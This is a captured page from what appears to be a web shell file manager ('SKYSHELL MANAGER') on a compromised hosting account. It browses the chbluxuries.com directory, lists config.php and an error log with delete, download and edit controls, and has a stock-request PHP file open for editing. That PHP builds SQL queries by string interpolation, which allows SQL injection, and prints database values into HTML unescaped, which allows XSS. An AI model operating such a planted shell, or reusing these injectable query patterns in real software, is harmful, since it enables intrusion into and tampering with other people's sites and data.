📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
13131.36 KB
0644
🗑️
⬇️
✏️
🔒
Editing: stockrequestlist.php
<?php $sql = "SELECT requestno,product,status,date,staff,support,collected_by, SUM(quantity_requested) as total_requested, SUM(quantity_approved) as total_approved FROM stock_requests GROUP BY requestno ORDER BY s DESC"; $sql2 = mysqli_query($con, $sql); $count = mysqli_num_rows($sql2); while ($row = mysqli_fetch_array($sql2)) { $product = $row['product']; $status = $row['status']; $request = $row['requestno']; if ($status == "approved") { $statcolor = "bg-primary"; } elseif ($status == "rejected") { $statcolor = "bg-danger"; } elseif ($status == "pending") { $statcolor = "bg-warning"; } // Fetching stock details $sq = "SELECT * FROM stocks WHERE id='$product'"; $sq2 = mysqli_query($con, $sq); while ($rows = mysqli_fetch_array($sq2)) { $stockname = $rows['name']; $group = $rows['group_id']; } // Assuming $quantityavailable is fetched from the database or defined elsewhere $noQ = "<a href='transferstock?fromstore=3&tostore=1&product=$product&request=$request' class='dropdown-item' $statbtn>Manage Request</a>"; $statbtn = ""; if ($status != "pending") { $statbtn = "disabled"; $noQ = ""; } echo "<tr> <td>" . $stockname . "</td> <td>" . $row['total_requested'] . "</td> <td>" . $row['total_approved'] . "</td> <td>" . $row['staff'] . "</td> <td>" . $row['support'] . "</td> <td>" . $row['collected_by'] . "</td> <td>" . formatDateTime($row['date']) . "</td> <td><div class='badge $statcolor' style='color:white;'>$status</div></td> <td> <button class='btn btn-primary btn-sm dropdown-toggle' type='button' id='dropdownMenuButton1' data-toggle='dropdown'> Actions </button> <div class='dropdown-menu dropdown-menu-right'> <h6 class='dropdown-header'>Actions</h6> $noQ <form method='post' onsubmit=\"return confirm('Are you sure you want to reject this stock request for $stockname?')\"> <input type='text' name='requestid' value='".$row['s']."' required hidden> <!--- <button type='submit' class='dropdown-item' name='submitstats' value='rejected'>Reject Request</button>--> </form> </div> </td> </tr>"; } ?>
💾 Save Changes